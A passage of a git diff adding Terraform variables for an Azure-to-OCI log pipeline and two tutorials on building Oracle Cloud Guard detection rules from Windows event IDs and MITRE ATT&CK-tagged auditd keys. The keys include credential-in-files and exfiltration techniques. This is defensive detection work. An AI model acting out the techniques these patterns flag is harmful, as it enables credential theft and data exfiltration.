compartment_id) + print() + + print("Log Analytics custom content setup complete.") + print(f" {len(field_map)} fields, 2 parsers, 1 source") + + +if __name__ == "__main__": + main() diff --git a/observability-and-management/assets/azurelogs2oci/stack/variables.tf b/observability-and-management/assets/azurelogs2oci/stack/variables.tf new file mode 100644 index 000000000..5f1ba8135 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/stack/variables.tf @@ -0,0 +1,117 @@ +# ───────────────────────────────────────────────────────────── +# variables.tf – Input variables for the azurelogs2oci OCI Stack +# ───────────────────────────────────────────────────────────── + +# --- Required --- + +variable "compartment_ocid" { + description = "Compartment OCID where all resources will be created" + type = string +} + +variable "region" { + description = "OCI region (e.g. us-ashburn-1, eu-frankfurt-1)" + type = string +} + +variable "tenancy_ocid" { + description = "Tenancy OCID (used for IAM policies)" + type = string +} + +# --- OCI Streaming --- + +variable "stream_pool_name" { + description = "Display name for the Kafka-compatible Stream Pool" + type = string + default = "MultiCloud_Log_Pool" +} + +variable "stream_name" { + description = "Name for the inbound Azure stream" + type = string + default = "azure-inbound-stream" +} + +variable "stream_partitions" { + description = "Number of stream partitions" + type = number + default = 1 +} + +variable "stream_retention_in_hours" { + description = "Stream message retention in hours (24-168)" + type = number + default = 24 +} + +# --- Log Analytics --- + +variable "log_group_name" { + description = "Log Analytics log group display name" + type = string + default = "AzureLogs" +} + +variable "log_group_description" { + description = "Log Analytics log group description" + type = string + default = "Azure log imports via azurelogs2oci pipeline" +} + +variable "log_analytics_namespace" { + description = "Log Analytics namespace (leave empty for auto-detection)" + type = string + default = "" +} + +# --- Service Connector Hub --- + +variable "sch_name" { + description = "Service Connector Hub display name" + type = string + default = "Azure-Stream-to-LogAnalytics" +} + +variable "sch_description" { + description = "Service Connector Hub description" + type = string + default = "Forwards Azure logs from OCI Streaming to Log Analytics" +} + +# --- IAM --- + +variable "create_iam_policies" { + description = "Create IAM policies for SCH (set false if policies already exist)" + type = bool + default = true +} + +# --- Compute (future extensibility) --- +# These variables are not used by the current serverless stack but are +# provided so that adding a compute instance later (e.g. a self-hosted +# log forwarder) requires only resource blocks, not new variables. + +variable "compute_shape" { + description = "Compute instance shape for optional future instances (VM.Standard.E5.Flex, VM.Standard.E4.Flex, VM.Standard.A2.Flex, VM.Standard.A1.Flex, VM.Standard3.Flex, VM.Optimized3.Flex)" + type = string + default = "VM.Standard.E5.Flex" +} + +variable "compute_ocpus" { + description = "Number of OCPUs for flex compute shapes (1-64)" + type = number + default = 1 +} + +variable "compute_memory_in_gbs" { + description = "Memory in GBs for flex compute shapes (1-1024)" + type = number + default = 16 +} + +variable "compute_image_id" { + description = "Custom image OCID for future compute instances (leave empty to use platform images)" + type = string + default = "" +} diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/README.md b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/README.md new file mode 100644 index 000000000..3ec3b7c1e --- /dev/null +++ b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/README.md @@ -0,0 +1,134 @@ +# Use Cloud Guard Insight Recipes to monitor Windows Instances against Interesting Windows Event IDs for Malware-General Investigation + +Recently Oracle lunched a new Recipe called Insight. With this service you will be able to leverage the OCI logging service Search Options and also the advanced Threat detection Engine from Cloud Guard. + +[Getting Started with Data Sources (oracle.com)](https://docs.oracle.com/en-us/iaas/cloud-guard/using/datasrc-start.htm) + +In this blog entry I will try to showcase how easy is to create a Data Source and a Recipe based on the Saved Log Searches/New Searches. + +The Event ID’s that I will add in this Search are from this Sophos page, and the ID’s are found in the Windows events if the instances are compromised. + +[Interesting Windows Event IDs — Malware/General Investigation (sophos.com)](https://support.sophos.com/support/s/article/KB-000038860?language=en_US) + +So the first thing we need to do is to create the OCI AuthZ policies that will allow the Logging Service to be used by Cloud Guard. + +Go to Cloud Guard, click on Data Sources and copy the needed policies: +```test +allow service logging to {LOG_DEFINITION_READ, LOG_DEFINITION_WRITE, LOG_WRITE, LOG_NAMESPACE_READ, LOG_CONTENT_READ, AUDIT_EVENT_READ,LOG_CONTENT_PUSH} in tenancy +``` +allow service logging to {INTERNAL_AUDIT_EVENT_READ} in tenancy + +![Picture 36](./images/image-01.png) + +The policy needs to be enabled at the root level. + +![Picture 35](./images/image-02.png) + +Next step would be to go to OCI Logging, and create a Search for certain event ID from a Custom Agent Log for Windows. + +```text +search “ocid1.compartment.oc1..xxx/ocid1.loggroup.oc1.eu-frankfurt-1.xxxx/ocid1.log.oc1.eu-frankfurt-1.xxx”| data.event_id=’7036' or data.event_id=’4688' or data.event_id=’4740'| sort by datetime desc +``` +![Picture 34](./images/image-03.png) + +You can press Save Search, and this search can be choose when you create the rule. If you don’t want to save the search, you can also copy and paste. + +After you have the proper search for your events of interest, you can go to Cloud Guard and Press Create Query: + +![Picture 33](./images/image-04.png) + +\ + +After you select the Region, give query a name, you can click Import Saved Search Query + +![Picture 32](./images/image-05.png) + +Based on how often you want to have the problems created you can change the trigger from 24h to once per hour or once at 5 minutes for testing. + +![Picture 31](./images/image-06.png) + +![Picture 30](./images/image-07.png) + +And press import: + +![Picture 29](./images/image-08.png) + +After the Query is imported, you need to define the keys used by the query and mapping with Logging as seen below on the code: + +![Picture 28](./images/image-09.png) + +```text +search “ocid1.compartment.oc1..xxx/ocid1.loggroup.oc1.eu-frankfurt-1.xxx/ocid1.log.oc1.eu-frankfurt-1.xxx” | data.event_id=’7036' or data.event_id=’4688'or data.event_id=’4740' or data.event_id=’4648'| select data.event_id as cgkey01 +``` + +If mapping is not done, you will receive this error: + +![Picture 27](./images/image-10.png) + +Now with the first query created, we can go with the Recipe creation. Go to Cloud Guard → Detector recipes → Create recipes + +![Picture 26](./images/image-11.png) + +![Picture 25](./images/image-12.png) + +After the Recipe is created, we can go and add the rules by clicking on Create rule: + +![Picture 24](./images/image-13.png) + +![Picture 23](./images/image-14.png) + +After the rule is added and Enabled, you can see how the log entity is mapped with the Cloud Guard Entity. + +![Picture 22](./images/image-15.png) + +After you have added the rule, you need to wait for new Events to be generated on your Windows Machine and a new Problem will be created in the Cloud Guard Problems page: + +![Picture 21](./images/image-16.png) + +Other Method to check for the events is by Clicking the Data Source and Click Events under Resource: + +![Picture 20](./images/image-17.png) + +Once the data source is added to the Rule, you will not be able to update the rule. As the events I have added initially are not generated all the time, I needed to add an additional login eventID. + +Go to the Data Source: + +![Picture 18](./images/image-18.png) + +Click on Data Source and detach it from the Recipe + +![Picture 17](./images/image-19.png) + +![Picture 16](./images/image-20.png) + +After you detach it, you can edit it and add additional EventID’s like 4672 , save the new search and create a new rule back in the Detection Insight Policy: + +![Picture 15](./images/image-21.png) + +![Picture 14](./images/image-22.png) + +![Picture 13](./images/image-23.png) + +```test +search “ocid1.compartment.oc1..xxx/ocid1.loggroup.oc1.eu-frankfurt-1.xxx/ocid1.log.oc1.eu-frankfurt-1.xxx” | data.event_id=’7036' or data.event_id=’4688'or data.event_id=’4740' or data.event_id=’4648' or data.event_id=’4740' | select data.event_id as xxx +``` + +Last step now is to attach Rule to the needed compartment by clicking Cloud Guard → Targets and create new Target: + +![Picture 12](./images/image-24.png) + +![Picture 11](./images/image-25.png) + +Attach the mandatory policies and wait for the Events to be generated in the Cloud Guard. + +![Picture 10](./images/image-26.png) + +![Picture 9](./images/image-27.png) + +![Picture 8](./images/image-28.png) + +Congratulation! Now you can create proper Monitoring rules for Threat Hunting and Security Event Notifications. + +Note: When you update an existing Data Source, there is a slight delay in updating the Data Source and the state will be Updating for a few minutes. + +![Picture 7](./images/image-29.png) diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-01.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-01.png new file mode 100644 index 000000000..394911646 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-01.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-02.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-02.png new file mode 100644 index 000000000..29711f358 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-02.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-03.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-03.png new file mode 100644 index 000000000..1b06634ba Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-03.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-04.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-04.png new file mode 100644 index 000000000..5d5fbab8e Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-04.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-05.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-05.png new file mode 100644 index 000000000..c41748095 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-05.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-06.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-06.png new file mode 100644 index 000000000..f523e9912 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-06.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-07.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-07.png new file mode 100644 index 000000000..e353a1662 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-07.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-08.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-08.png new file mode 100644 index 000000000..cc3350c50 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-08.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-09.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-09.png new file mode 100644 index 000000000..eee731bbd Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-09.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-10.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-10.png new file mode 100644 index 000000000..f15637abe Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-10.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-11.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-11.png new file mode 100644 index 000000000..2bb480a52 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-11.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-12.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-12.png new file mode 100644 index 000000000..1421a5ac7 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-12.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-13.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-13.png new file mode 100644 index 000000000..91aa2e472 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-13.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-14.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-14.png new file mode 100644 index 000000000..d2666dda4 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-14.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-15.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-15.png new file mode 100644 index 000000000..e2331a97f Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-15.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-16.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-16.png new file mode 100644 index 000000000..50386ab3e Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-16.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-17.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-17.png new file mode 100644 index 000000000..219c42a18 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-17.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-18.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-18.png new file mode 100644 index 000000000..1da9ded79 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-18.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-19.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-19.png new file mode 100644 index 000000000..b1a2beaba Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-19.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-20.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-20.png new file mode 100644 index 000000000..46f221656 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-20.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-21.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-21.png new file mode 100644 index 000000000..4969e70fe Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-21.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-22.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-22.png new file mode 100644 index 000000000..094db8844 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-22.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-23.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-23.png new file mode 100644 index 000000000..61a769d03 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-23.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-24.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-24.png new file mode 100644 index 000000000..0e13d7901 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-24.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-25.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-25.png new file mode 100644 index 000000000..41976adec Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-25.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-26.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-26.png new file mode 100644 index 000000000..82dfa7b39 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-26.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-27.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-27.png new file mode 100644 index 000000000..72fcf0d59 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-27.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-28.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-28.png new file mode 100644 index 000000000..247dd3264 Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-28.png differ diff --git a/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-29.png b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-29.png new file mode 100644 index 000000000..061914cbd Binary files /dev/null and b/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/images/image-29.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/README.md b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/README.md new file mode 100644 index 000000000..fc84a2730 --- /dev/null +++ b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/README.md @@ -0,0 +1,131 @@ +# Use CloudGuard to search for MITRE ATT&CK Techiniques detections + +Previously, I have shown how to leverage AuditD data in OCI Logging service. Now I will use the OCI Logging Service search option to create some MITRE ATT&CK Searches that will be used by Cloud Guard Insight Rules. + +From this rule mapping and the Attack Rules, I am able to create the searches that I need: + +linux-audit/DS-to-audit.MD at main · izysec/linux-audit + +Some resources to facilitate my blog on auditd for security monitoring - linux-audit/DS-to-audit.MD at main ·… + +github.com + +auditd-attack/auditd-attack.rules at master · bfuzzy1/auditd-attack + +A Linux Auditd rule set mapped to MITRE's Attack Framework - auditd-attack/auditd-attack.rules at master ·… + +github.com + +As seen in this picture you can go and do your mapping manually: + +![Picture 27](./images/image-01.png) + +In my auditd custom rules, I only have enabled this rules: + +T1107_File_Deletion T1070_Indicator_Removal_on_Host T1055_Process_Injection T1072_third_party_software T1219_Remote_Access_Tools T1005_Data_from_Local_System T1057_Process_Discovery T1081_Credentials_In_Files T1049_System_Network_Connections_discovery T1082_System_Information_Discovery T1082_System_Information_Discovery T1016_System_Network_Configuration_Discovery T1082_System_Information_Discovery T1033_System_Owner_User_Discovery T1087_Account_Discovery T1068_Exploitation_for_Privilege_Escalation T1166_Seuid_and_Setgid T1169_Sudo T1043_Commonly_Used_Port T1021_Remote_Services T1201_Password_Policy_Discovery T1071_Standard_Application_Layer_Protocol T1021_Remote_Services T1108_Redundant_Access T1052_Exfiltration_Over_Physical_Medium T1078_Valid_Accounts T1168_Local_Job_Scheduling T1079_Multilayer_Encryption T1099_Timestomp T1215_Kernel_Modules_and_Extensions locklvm + +as this rules are mapped as keys, I will use them in the OCI Logging Search. + +Now if we go to OCI Logging, and look at the Auditd generated logs, we can go and drill down on more specific searches by clicking Filter matching: + +![Picture 26](./images/image-02.png) + +If we select Show Advanced Mode, we will see a simular query, and in there we will see that the selected query will not return anything. + +![Picture 25](./images/image-03.png) + +![Picture 24](./images/image-04.png) + +![Picture 23](./images/image-05.png) + +Now, in the Advanced Mode, we can change the format from: + +![Picture 22](./images/image-06.png) + +to + +data.”body.key”=’ ”T1043_Commonly_Used_Port”’ + +![Picture 21](./images/image-07.png) + +We need to do this, as the proper log field is “body.key” not key. + +With this format you will be able to see the proper logs and save the searches: + +![Picture 20](./images/image-08.png) + +![Picture 19](./images/image-09.png) +```text +search “ocid1.compartment.oc1..xxxxxxxx” “ocid1.compartment.oc1..xxxx/ocid1.loggroup.oc1.eu-frankfurt-1.xxxx” | data.”body.key”=’”T1078_Valid_Accounts”’ | sort by datetime desc +``` +In this query I have removed the exclusion of VCN Flow Logs, as this was used by me to filter only certain logs when I created the search. + +Using this search, and changing the filed value I have created multiple searches based on MITRE ATT&CK Techiques: + +![Picture 17](./images/image-10.png) + +Next step will be to set up Cloud Guard to use Insight logging as described in my first blog entry from this series and will use the saved Searches for detection. + +Use Cloud Guard Insight Recipes to monitor Windows Instances against Interesting Windows Event IDs… + +Recently Oracle lunched a new Recipe called Insight. With this service you will be able to leverage the OCI logging… + +learnoci.cloud + +Go to Data Sourrces and create a new Query: + +![Picture 16](./images/image-11.png) + +Give the Query the proper name and Press Import Saved Search Query: + +![Picture 15](./images/image-12.png) + +![Picture 14](./images/image-13.png) + +Select the Saved Search and press Import: + +![Picture 13](./images/image-14.png) + +After the import map the body.jey field with the Cloud Guard key + +![Picture 12](./images/image-15.png) + +search “ocid1.compartment.oc1..xxxxx” “ocid1.compartment.oc1..xxxxx/ocid1.loggroup.oc1.eu-frankfurt-1.xxxxx” | data.”body.key”=’”T1215_Kernel_Modules_and_Extensions”’ | select data.”body.key” as cgkey01 + +and select the trigger time: + +![Picture 11](./images/image-16.png) + +If you want to decrease the number of detected events, you can remove additional fields in the OCI Logging search, like removing the body.euid for Oracle-cloud-agent: + +![Picture 10](./images/image-17.png) +```text +search “ocid1.compartment.oc1..xxxxx” “ocid1.compartment.oc1..xxxxx/ocid1.loggroup.oc1.eu-frankfurt-1.xxxxxxx” | data.”body.key”=’”T1166_Seuid_and_Setgid”’ and data.”body.EUID”!= ‘“oracle-cloud-agent”’ | sort by datetime desc +``` +After the Query is created, you need to attach it to a new Detector or you can attach it to an existing one. + +![Picture 9](./images/image-18.png) + +![Picture 8](./images/image-19.png) + +Now Press Create Rule and select the created techniques: + +![Picture 7](./images/image-20.png) + +![Picture 6](./images/image-21.png) + +![Picture 5](./images/image-22.png) + +Please note that some of the Techniques had their number changes, so it’s better to use the Navigator [https://attack.mitre.org/techniques/enterprise/](https://attack.mitre.org/techniques/enterprise/) . + +![Picture 4](./images/image-23.png) + +Last step is to create a new target and attach the detector recipes and enable the queries. You can also reuse existing ones. + +![Picture 3](./images/image-24.png) + +If you select any of the Queries, and you see that you have green checks on all steps, Congratulations, you have finished configuring the Cloud Guard detection. + +![Picture 2](./images/image-25.png) + +![Picture 1](./images/image-26.png) diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-01.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-01.png new file mode 100644 index 000000000..e53cefa60 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-01.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-02.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-02.png new file mode 100644 index 000000000..0e8129065 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-02.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-03.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-03.png new file mode 100644 index 000000000..028037721 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-03.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-04.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-04.png new file mode 100644 index 000000000..d7267e3d9 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-04.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-05.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-05.png new file mode 100644 index 000000000..802e1f359 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-05.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-06.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-06.png new file mode 100644 index 000000000..115d101c2 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-06.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-07.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-07.png new file mode 100644 index 000000000..a1d9da68d Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-07.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-08.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-08.png new file mode 100644 index 000000000..de71e9751 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-08.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-09.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-09.png new file mode 100644 index 000000000..bbe35fe90 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-09.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-10.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-10.png new file mode 100644 index 000000000..7e232d82c Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-10.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-11.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-11.png new file mode 100644 index 000000000..048e78954 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-11.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-12.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-12.png new file mode 100644 index 000000000..515fcc363 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-12.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-13.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-13.png new file mode 100644 index 000000000..48cc096a2 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-13.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-14.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-14.png new file mode 100644 index 000000000..d28c42d47 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-14.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-15.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-15.png new file mode 100644 index 000000000..2741b0e67 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-15.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-16.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-16.png new file mode 100644 index 000000000..f160fa6f0 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-16.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-17.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-17.png new file mode 100644 index 000000000..08ea4e72e Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-17.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-18.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-18.png new file mode 100644 index 000000000..cb2578906 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-18.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-19.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-19.png new file mode 100644 index 000000000..1eb7cb460 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-19.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-20.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-20.png new file mode 100644 index 000000000..f0e90502f Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-20.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-21.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-21.png new file mode 100644 index 000000000..09535d8b5 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-21.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-22.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-22.png new file mode 100644 index 000000000..129d07b6a Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-22.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-23.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-23.png new file mode 100644 index 000000000..832b7c88c Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-23.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-24.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-24.png new file mode 100644 index 000000000..d567a6fde Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-24.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-25.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-25.png new file mode 100644 index 000000000..affd002fc Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-25.png differ diff --git a/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-26.png b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-26.png new file mode 100644 index 000000000..d29efc284 Binary files /dev/null and b/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/images/image-26.png differ diff --git 